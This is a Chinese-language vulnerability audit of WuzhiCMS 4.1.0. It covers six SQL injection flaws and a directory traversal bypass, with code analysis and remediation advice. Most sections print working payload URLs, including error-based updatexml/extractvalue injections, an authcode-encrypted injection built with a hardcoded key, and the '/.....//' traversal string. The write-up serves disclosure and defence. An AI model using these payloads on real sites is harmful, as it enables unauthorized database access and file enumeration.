某cms代码审计--漏洞集
字数 1033 2025-08-29 08:31:47
五指CMS 4.1.0漏洞分析与利用指南
0x00 漏洞概述
五指CMS 4.1.0版本存在多个安全漏洞,包括6个SQL注入漏洞和1个文件遍历漏洞。这些漏洞主要由于输入验证不严格和过滤不彻底导致,攻击者可利用这些漏洞获取数据库敏感信息或遍历服务器文件系统。
0x01 SQL注入漏洞分析
1. 第一个SQL注入漏洞
漏洞位置: /wuzhicms/www/api/uc.php
漏洞原因: 获取到code参数后,先进行_authcode解密,然后通过parse_str函数解析,将结果存入$get数组,最后将数组中的username直接拼接到SQL查询中,无任何过滤。
利用步骤:
- 构造payload:
$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
- 使用
_authcode函数加密payload:
$code = urlencode(_authcode($payload, 'encode', 'e063rbkHX22RAvIg'));
- 发送请求:
http://127.0.0.1/wuzhicms/api/uc.php?code=[生成的code值]
关键代码分析:
// api/uc.php 30-37行
$code = isset($GLOBALS['code']) ? $GLOBALS['code'] : '';
$get = $GLOBALS;
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
// api/uc.php 90行 synlogin函数
$username = $get['username'];
$sql = "SELECT * FROM ".DB_PREFIX."member WHERE username='$username'";
2. 第二个SQL注入漏洞
漏洞位置: /wuzhicms/coreframe/app/promote/admin/index.php
payload:
http://127.0.0.1/wuzhicms/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
漏洞原因: keywords参数仅过滤了%20和%27,其他字符未过滤,直接拼接到SQL语句中。
关键代码:
// promote/admin/index.php search函数
$keywords = str_replace(array('%20','%27'),'',strip_tags($keywords));
$where .= " AND `$fieldtype` LIKE '%$keywords%'";
其他SQL注入漏洞
漏洞3-6与漏洞2原理相似,都是由于用户输入未充分过滤直接拼接到SQL语句中:
- payload:
http://127.0.0.1/wuzhicms/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)=' --+&_su=wuzhicms
- payload:
http://127.0.0.1/wuzhicms/index.php?m=pay&f=index&v=listing&keytype=0&_su=wuzhicms&keyValue='+and+updatexml(7,concat(0x7e,user(),0x7e),7)%23
- payload:
http://127.0.0.1/wuzhicms/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&keywords=%27+and+updatexml(7,concat(0x7e,(user()),0x7e),7)%23
- payload:
http://127.0.0.1/wuzhicms/index.php?m=order&f=goods&v=listing&_su=wuzhicms&keywords='and+extractvalue(1,concat(0x7e,user()))%23
0x02 文件遍历漏洞分析
漏洞位置: /wuzhicms/coreframe/app/template/admin/index.php
payload:
http://127.0.0.1/wuzhicms/index.php?dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms
漏洞原因: dir参数过滤不彻底,通过构造特殊字符串可绕过过滤。
过滤逻辑:
// template/admin/index.php 构造函数
$this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ?
str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
绕过原理:
- 输入
/...../,过滤../后剩下/.../ - 再过滤
./后剩下/../,实现目录遍历
利用代码:
// template/admin/index.php listing函数
$dir = $this->dir;
$lists = glob(TPL_ROOT.$dir.'/'.'*'); // 直接使用用户输入的dir参数
0x03 漏洞修复建议
-
SQL注入修复:
- 使用预处理语句(PDO或mysqli)
- 对所有用户输入进行严格过滤和转义
- 最小权限原则,数据库用户只赋予必要权限
-
文件遍历修复:
- 严格限制目录访问范围
- 使用白名单方式验证输入
- 添加目录访问权限检查
-
通用建议:
- 更新到最新版本
- 部署WAF防护
- 定期进行安全审计
0x04 总结
五指CMS 4.1.0版本存在多处严重安全漏洞,攻击者可在未授权或低权限情况下获取数据库敏感信息或遍历服务器文件系统。开发人员应重视输入验证和过滤,避免直接拼接用户输入到敏感操作中。